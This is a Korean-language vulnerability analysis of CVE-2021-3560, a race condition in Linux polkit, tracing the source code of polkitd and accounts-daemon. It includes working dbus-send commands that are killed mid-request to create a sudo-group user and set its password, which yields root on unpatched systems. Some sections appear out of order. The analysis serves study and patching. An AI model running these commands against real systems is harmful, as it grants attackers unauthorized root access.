
Linux PolKit의 로컬 권한 상승 취약점인 CVE-2021-3560에 대한 심층 분석. 근본 원인 분석, 익스플로잇 메커니즘, 그리고 루트 액세스로 이어지는 경쟁 조건(race condition)의 시연을 포함합니다.
[toc]
취약점 번호: CVE-2021-3560
취약점 점수:
취약점 제품: linux PolKit (polkitd)
영향 범위: 소스 코드 0.113에서 도입; https://www.venustech.com.cn/new_type/aqtg/20210611/22788.html
이용 조건: linux 로컬; dbus + polkitd 존재
이용 효과: 로컬 권한 상승
소스 코드 획득:
apt source accountsserviceapt source dbusubuntu 기본 이미지 ubuntu-20.04.2로 재현 가능: http://old-releases.ubuntu.com/releases/20.04.2/ubuntu-20.04.2-desktop-amd64.iso
먼저 문제가 있는 코드를 확인한다
/polkit-0.113/src/polkit/polkitsystembusname.c : 388 : polkit_system_bus_name_get_creds_sync
static void
on_retrieved_unix_uid_pid (GObject *src,
GAsyncResult *res,
gpointer user_data)
{
AsyncGetBusNameCredsData *data = user_data;
GVariant *v;
v = g_dbus_connection_call_finish ((GDBusConnection*)src, res,
data->caught_error ? NULL : data->error);
if (!v)
{
data->caught_error = TRUE; //某些原因失败之后设置error位
}
else
{
··· ···//执行成功的数据处理
}
··· ···
}
static gboolean
polkit_system_bus_name_get_creds_sync (PolkitSystemBusName *system_bus_name,
guint32 *out_uid,
guint32 *out_pid,
GCancellable *cancellable,
GError **error)
{
gboolean ret = FALSE;
AsyncGetBusNameCredsData data = { 0, }; //data 被初始化为0
··· ···
g_dbus_connection_call (connection,
"org.freedesktop.DBus", /* name */
"/org/freedesktop/DBus", /* object path */
"org.freedesktop.DBus", /* interface name */
"GetConnectionUnixUser", /* method */
g_variant_new ("(s)", system_bus_name->name),
G_VARIANT_TYPE ("(u)"),
G_DBUS_CALL_FLAGS_NONE,
-1,
cancellable,
on_retrieved_unix_uid_pid, //回调函数
&data);
g_dbus_connection_call (connection,
"org.freedesktop.DBus", /* name */
"/org/freedesktop/DBus", /* object path */
"org.freedesktop.DBus", /* interface name */
"GetConnectionUnixProcessID", /* method */
g_variant_new ("(s)", system_bus_name->name),
G_VARIANT_TYPE ("(u)"),
G_DBUS_CALL_FLAGS_NONE,
-1,
cancellable,
on_retrieved_unix_uid_pid, //回调函数
&data);
while (!((data.retrieved_uid && data.retrieved_pid) || data.caught_error))
g_main_context_iteration (tmp_context, TRUE); //等待总线那边执行完毕,uid、pid都处理完毕或异常
if (out_uid)
*out_uid = data.uid;
if (out_pid)
*out_pid = data.pid;
ret = TRUE; //无论如何都是 TRUE?
out:
if (tmp_context)
{
g_main_context_pop_thread_default (tmp_context);
g_main_context_unref (tmp_context);
}
if (connection != NULL)
g_object_unref (connection);
return ret;
}
polkit_system_bus_name_get_creds_sync 함수는 특정 요청에 대한 신원 인증을 수행한다(구체적인 로직 시나리오는 뒤에서 자세히 설명한다). 먼저 org.freedesktop.DBus 버스를 통해 GetConnectionUnixUser 메서드와 GetConnectionUnixProcessID 메서드를 순서대로 호출한다. 이 두 메서드는 org.freedesktop.DBus 버스가 제공하는 것으로, 요청 프로세스의 PID와 사용자 UID를 가져온 다음 콜백 함수 on_retrieved_unix_uid_pid에 전달하여 반환된 데이터를 처리한다. 그 후 버스 쪽 프로세스가 실행을 완료할 때까지 블로킹하여 대기한다.
on_retrieved_unix_uid_pid 함수에서 버스 쪽 실행 결과에 따라 예외(error?) 발생 여부를 설정하고, 예외 플래그를 설정하는 것을 알 수 있다. 실행에 성공하면 사용자 UID나 프로세스 PID를 정상적으로 반환한다. 그러나 polkit_system_bus_name_get_creds_sync 함수에서는 버스 반환 결과를 블로킹 대기한 후(처리 완료를 판단하는 기준은 UID와 PID가 모두 처리되었거나 예외가 발생한 경우이다). 즉, 버스 쪽 반환은 논리적으로 세 가지 결과가 있다. 사용자 UID가 0인 특권 사용자 획득, 사용자 UID가 0이 아닌 일반 사용자 획득, 예외. 그러나 이후 처리에서는 예외에 대한 처리가 없이, 상위 계층에 반환할 out_uid를 버스가 반환한 data.uid로 직접 설정한 다음, ret을 바로 TRUE로 설정한다:
while (!((data.retrieved_uid && data.retrieved_pid) || data.caught_error))
g_main_context_iteration (tmp_context, TRUE); //等待总线那边执行完毕,uid、pid都处理完毕或异常
if (out_uid)
*out_uid = data.uid;
if (out_pid)
*out_pid = data.pid;
ret = TRUE; //无论如何都是 TRUE?
그러나 한 가지 경우를 간과했는데, 바로 DBUS 버스 쪽에서 예외가 발생하여 콜백 함수가 예외 플래그만 설정하고는 data 데이터를 전혀 처리하지 않은 경우이다. data는 0으로 초기화되므로, 이후 out_uid가 0, 즉 특권 사용자로 직접 설정되는 결과를 초래한다.
그렇다면 문제가 있는 이 polkit_system_bus_name_get_creds_sync 함수는 어디에서 사용될까.
취약점이 존재하는 프로세스는 polkitd 프로세스이다:
polkit은 애플리케이션 수준의 도구 모음으로, 권한 규칙을 정의하고 심사하여 서로 다른 우선순위를 가진 프로세스 간의 통신을 구현한다: 제어 결정이 통합된 프레임워크에 집중되어, 낮은 우선순위 프로세스가 높은 우선순위 프로세스에 접근할 권한이 있는지 결정한다.
간단히 말하면, 백그라운드에서 실행되는 root 프로세스로, 프로세스 간 통신을 통해 다른 저권한 프로세스가 고권한 프로세스가 제공하는 기능에 접근할 때 권한 판단을 수행한다. 이 프로세스는 gdb로 붙으면 재시작되므로, 소스 코드 차원에서 분석하여 취약점 함수의 트리거 경로를 찾을 수밖에 없다:
polkitd는 gio DBUS 프로세스 간 통신 프레임워크를 많이 사용하여 개발되었으므로, 미리 매뉴얼을 숙지하고 몇 가지 주요 함수들을 살펴보는 것이 좋다.
다음으로 polkitd의 취약점 트리거 경로를 분석한다,
먼저 main이다:
polkit-0.113\src\polkitbackend\polkitd.c : 155 : main
int
main (int argc,
char **argv)
{
··· ···
··· ···
loop = g_main_loop_new (NULL, FALSE);
sigint_id = g_unix_signal_add (SIGINT,
on_sigint,
NULL);
name_owner_id = g_bus_own_name (G_BUS_TYPE_SYSTEM,
"org.freedesktop.PolicyKit1", //注册了一个总线名称
G_BUS_NAME_OWNER_FLAGS_ALLOW_REPLACEMENT |
(opt_replace ? G_BUS_NAME_OWNER_FLAGS_REPLACE : 0),
on_bus_acquired, //访问该总线时的回调函数
on_name_acquired,
on_name_lost,
NULL,
NULL);
g_print ("Entering main event loop\n");
g_main_loop_run (loop); //循环启动
··· ···
··· ···
}
먼저 org.freedesktop.PolicyKit1이라는 이름의 버스를 등록하고, 세 개의 콜백 함수가 있으며, 주로 on_bus_acquired를 주목해야 한다. 이 함수는 버스가 접근될 때 호출된다.
on_bus_acquired 함수에서 등록 유형 함수인 polkit_backend_authority_register를 직접 호출한다
즉, 다른 함수가 버스 org.freedesktop.PolicyKit1.Authority의 CheckAuthorization 메서드를 호출할 때, 특정 시나리오(DBUS가 요청자 UID 획득 시 예외를 반환하도록 제어)에서 해당 메서드의 신원 인증 정확성에 영향을 줄 수 있다. 답을 바로 알 수 있으므로, 취약점 이용 방법은 account-daemon을 사용할 때
먼저 exp 작성자의 이 그림을 인용한다:
그림에 있는 내용들을 소개한다:
polkitd와 dbus-daemon, 그리고 account-daemon 세 프로세스는 모두 root 권한으로 실행되는 백그라운드 서비스형 프로세스이다.
dbus-daemon은 프로세스 간 통신의 "라우터"로, 위에서 언급한 GIO DBUS 프로세스 간 통신 프레임워크의 핵심이다. 내 이해로는 서로 다른 프로세스가 이곳에 버스 이름을 등록할 수 있고, 통신을 원하는 프로세스가 버스 이름과 인터페이스, 메서드 이름에 접근하여 해당 프로세스의 함수를 호출하는 것이다. 위에서 소개한 polkitd 프로세스의 일부 함수는 dbus에 버스를 등록하고 다른 프로세스의 호출을 대기하는 것이다.
account-daemon은 polkitd와 유사하게 dbus에 org.freedesktop.Accounts 버스를 등록하고, 사용자 추가, 비밀번호 설정 등과 같은 일련의 계정 관련 메서드를 제공한다. 또한 이 프로세스는 사용자 추가와 같은 작업을 수행하기 전에 사용자에 대한 인증을 수행하며, 사용하는 인증 방법이 바로 위에서 언급한 polkitd 프로세스가 제공하는 취약점이 있는 버스 메서드 CheckAuthorization이다.
dbus-send는 명령어로, dbus 버스는 프로세스 간 통신 호출을 위한 프로그래밍 인터페이스를 제공하며, 동시에 명령줄 명령도 제공하여 특정 프로세스에 직접 메시지를 보내 해당 프로세스의 메서드를 호출할 수 있다.
따라서 이 취약점 이용의 전체 이벤트 흐름은 다음과 같다:
dbus-send 명령을 사용하여 account-daemon 프로세스에 메시지를 보내 **관리자 사용자(해당 프로세스가 제공하는 CreateUser 메서드는 기본적으로 관리자 사용자를 추가한다)**를 생성하도록 한다. 그러나 우리의 신분으로는 이 작업을 완료할 수 없다.account-daemon 프로세스로 전송되면, account-daemon은 polkitd 프로세스에 이번 사용자 추가 작업을 승인할지 권한 검증을 요청한다.polkitd는 버스에 사용자 생성 요청을 보낸 프로세스의 사용자 권한과 프로세스 ID를 문의한다.
account-daemon이 메시지를 수신한 시점부터 polkitd가 요청 프로세스의 권한을 문의하는 시점까지의 시간 동안 요청 프로세스(즉, dbus-send 프로세스)를 kill하는 것이다.polkitd 프로세스가 예외를 기본적으로 성공으로 간주하고, 사용자 uid가 0인 특권 사용자로 기본 간주한다는 점이다. 취약점이 트리거되어 해당 작업이 허용된다.dbus-send 프로세스가 kill되어 버스 감지가 예외를 보고하게 되지만, 은 영향을 받지 않는다. 은 메시지를 수신한 후에는 요청 프로세스의 존재 여부를 더 이상 신경 쓰지 않기 때문이다.dbus-daemon은 중계 프로세스에 불과하므로 자세히 분석하지 않겠다. 그러나 여기서 account-daemon 프로세스를 분석하는데, 이 프로세스는 이용 과정에서 핵심 프로세스이다. 이 프로세스 역시 GIO DBUS 프레임워크를 사용하므로, 내부의 몇 가지 핵심 사항을 간단히 분석한다. 먼저 확인해 보면
accountsservice-0.6.45\src\daemon.c : 90
static void daemon_accounts_accounts_iface_init (AccountsAccountsIface *iface);
G_DEFINE_TYPE_WITH_CODE (Daemon, daemon, ACCOUNTS_TYPE_ACCOUNTS_SKELETON, G_IMPLEMENT_INTERFACE (ACCOUNTS_TYPE_ACCOUNTS, daemon_accounts_accounts_iface_init));
··· ···
static void
daemon_accounts_accounts_iface_init (AccountsAccountsIface *iface)
{
iface->handle_create_user = daemon_create_user;
iface->handle_delete_user = daemon_delete_user;
··· ···
}
여기서 G_DEFINE_TYPE_WITH_CODE와 G_IMPLEMENT_INTERFACE 매크로를 사용하여 daemon_accounts_accounts_iface_init 함수를 실행한다. 이 두 매크로의 의미는 요컨대 기회가 되면 daemon_accounts_accounts_iface_init 함수를 실행한다는 것이며, daemon_accounts_accounts_iface_init 함수에서 create_user 메서드를 등록한다. daemon_create_user 함수의 구현을 직접 살펴보면:
accountsservice-0.6.45\src\daemon.c : 1099
static gboolean
daemon_create_user (AccountsAccounts *accounts,
GDBusMethodInvocation *context,
const gchar *user_name,
const gchar *real_name,
gint account_type)
{
··· ···
data = g_new0 (CreateUserData, 1);
data->user_name = g_strdup (user_name);
data->real_name = g_strdup (real_name);
data->account_type = account_type;
daemon_local_check_auth (daemon,
NULL,
"org.freedesktop.accounts.user-administration",
TRUE,
daemon_create_user_authorized_cb, //回调函数
context,
data,
(GDestroyNotify)create_data_free);
return TRUE;
}
daemon_create_user에서는 daemon_local_check_auth 함수를 호출하여 요청 사용자의 권한이 허용되는지 검증하며, 호출에 성공하면 콜백 함수 daemon_create_user_authorized_cb가 호출된다. 여기서 먼저 인증 함수 daemon_local_check_auth를 살펴본다:
accountsservice-0.6.45\src\daemon.c : 1388 : daemon_local_check_auth
void
daemon_local_check_auth (Daemon *daemon,
User *user,
const gchar *action_id,
gboolean allow_interaction,
AuthorizedCallback authorized_cb,
GDBusMethodInvocation *context,
gpointer authorized_cb_data,
GDestroyNotify destroy_notify)
{
··· ···
polkit_authority_check_authorization (daemon->priv->authority,
subject,
action_id,
NULL,
flags,
NULL,
(GAsyncReadyCallback) check_auth_cb,
data);
··· ···
}
여기서 인증을 위해 polkit_authority_check_authorization 함수를 호출한다. polkit_authority_check_authorization은 libpolkit-gobject-1.so.0이 제공하는 라이브러리 함수로, 위에서 분석한 polkitd 프로세스의 버스 org.freedesktop.PolicyKit1.Authority에 있는 CheckAuthorization 메서드를 직접 호출하여 인증한다. 인증에 성공하면 콜백 함수 daemon_create_user_authorized_cb가 호출된다:
accountsservice-0.6.45\src\daemon.c : 1051 : daemon_create_user_authorized_cb
static void
daemon_create_user_authorized_cb (Daemon *daemon,
User *dummy,
GDBusMethodInvocation *context,
gpointer data)
{
··· ···
argv[0] = "/usr/sbin/adduser";
argv[1] = "--quiet";
argv[2] = "--disabled-login";
argv[3] = "--gecos";
argv[4] = cd->real_name;
argv[5] = cd->user_name;
argv[6] = NULL;
error = NULL;
if (!spawn_with_login_uid (context, argv, &error)) { //添加用户
throw_error (context, ERROR_FAILED, "running '%s' failed: %s", argv[0], error->message);
g_error_free (error);
return;
}
if (cd->account_type == ACCOUNT_TYPE_ADMINISTRATOR) {
add_user_to_group (context, cd->user_name, "sudo"); //将用户添加到sudo 组
}
··· ···
}
여기서 이미 명확하다. 사용자 추가에 성공한 후 사용자를 sudo 사용자 그룹에 직접 추가하므로, exp 마지막에 사용자를 추가한 뒤 sudo su root를 통해 root로 전환할 수 있다.
다음으로 수동 취약점 이용 demo를 살펴본다
일반 사용자 신분으로 dbus-send 명령을 직접 사용하여 account-daemon에 사용자 생성 요청을 보낸다:
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:pwnpolkit string:"pwnpolkit" int32:1
이 요청은 그래픽 인터페이스 운영체제에서 비밀번호 입력 창을 팝업한다:
ssh와 같은 명령줄 터미널에서는 바로 실패한다:

위의 취약점 이용 아이디어에 따라, 먼저 해당 명령의 실행 시간을 확인한다:
time dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:pwnpolkit string:"pwnpolkit" int32:1

그런 다음 해당 명령이 절반가량 실행되었을 때 kill하도록 선택하면, 확률적으로 취약점이 트리거되어 생성에 성공할 수 있다:
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:pwnpolkit string:"pwnpolkit" int32:1 & sleep 0.04s ; kill $!
여러 번 실행하면 성공할 수 있다:

그리고 sudo 사용자 그룹에도 포함되어 있다:

그런 다음 동일한 방법으로 비밀번호를 추가해 주면 된다:
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/User1002 org.freedesktop.Accounts.User.SetPassword string:'$5$jgqh/7aYiUhpISRA$awGxCtnbYKoAtNVtzUvd6jxw/.1VApN5CvUYyLXUMj0' string:Whatever & sleep 0.04s ; kill $!
User1002는 방금 생성한 사용자의 UID에 따라 수정해야 하며, 비밀번호는 해시 값을 사용한다. 그런 다음 사용자로 전환한다
여기서는 exp를 자세히 작성하지 않았지만, 사실 위의 명령들을 자동화하면 된다. github에 있는 C 언어 exp도 실행해 보면 잘 동작한다.
최신 버전으로 업그레이드
취약점 공개(github): https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/
hakivvi/exp(github): https://github.com/hakivvi/CVE-2021-3560
m0_56642842(CSDN): https://blog.csdn.net/m0_56642842/article/details/118807718?spm=1001.2014.3001.5502
polkit_backend_authority_register 함수에서 인터페이스 객체 org.freedesktop.PolicyKit1.Authority를 등록하고 콜백 함수 테이블 server_vtable을 전달한다. 취약점 트리거 지점은 바로 이 콜백 함수 테이블 중 하나에 있다:
policykit-1_0.113.orig\polkit-0.113\src\polkitbackend\polkitbackendauthority.c : 1333 : server_vtable
static const GDBusInterfaceVTable server_vtable =
{
server_handle_method_call, //回调函数
server_handle_get_property,
NULL, /* server_handle_set_property */
};
static void
server_handle_method_call (GDBusConnection *connection,
const gchar *sender,
const gchar *object_path,
const gchar *interface_name,
const gchar *method_name,
GVariant *parameters,
GDBusMethodInvocation *invocation,
gpointer user_data)
{
Server *server = user_data;
PolkitSubject *caller;
caller = polkit_system_bus_name_new (g_dbus_method_invocation_get_sender (invocation));
if (g_strcmp0 (method_name, "EnumerateActions") == 0)
server_handle_enumerate_actions (server, parameters, caller, invocation);
else if (g_strcmp0 (method_name, "CheckAuthorization") == 0)
server_handle_check_authorization (server, parameters, caller, invocation); //漏洞函数路径在这里
··· ···
··· ···
}
다른 프로세스가 버스를 통해 CheckAuthorization 메서드를 호출하면 server_handle_check_authorization 함수가 호출된다.
server_handle_check_authorization 함수에서 polkit_backend_authority_check_authorization을 호출한다
polkit_backend_authority_check_authorization 함수에서 콜백을 통해 klass->check_authorization을 호출하며, 후자가 등록한 함수는 polkit_backend_interactive_authority_check_authorization이다:
polkit-0.113\src\polkitbackend\polkitbackendauthority.c : 195 : polkit_backend_authority_check_authorization
void
polkit_backend_authority_check_authorization (PolkitBackendAuthority *authority,
PolkitSubject *caller,
PolkitSubject *subject,
const gchar *action_id,
PolkitDetails *details,
PolkitCheckAuthorizationFlags flags,
GCancellable *cancellable,
GAsyncReadyCallback callback,
gpointer user_data)
{
··· ···
if (klass->check_authorization == NULL)
{
··· ···
}
else
{
klass->check_authorization (authority, caller, subject, action_id, details, flags, cancellable, callback, user_data); // 注册的是polkit_backend_interactive_authority_check_authorization
}
}
authority_class->check_authorization = /
polkit_backend_interactive_authority_check_authorization; //在别处初始化的
이후부터는 순서대로 찾으면 된다: check_authorization_sync
polkit_backend_session_monitor_get_user_for_subject
취약점 함수: polkit_system_bus_name_get_user_sync
account-daemonaccount-daemonaccount-daemon은 polkitd가 응답한 추가 허용을 수신한 후 사용자를 생성하여 이용을 완료한다.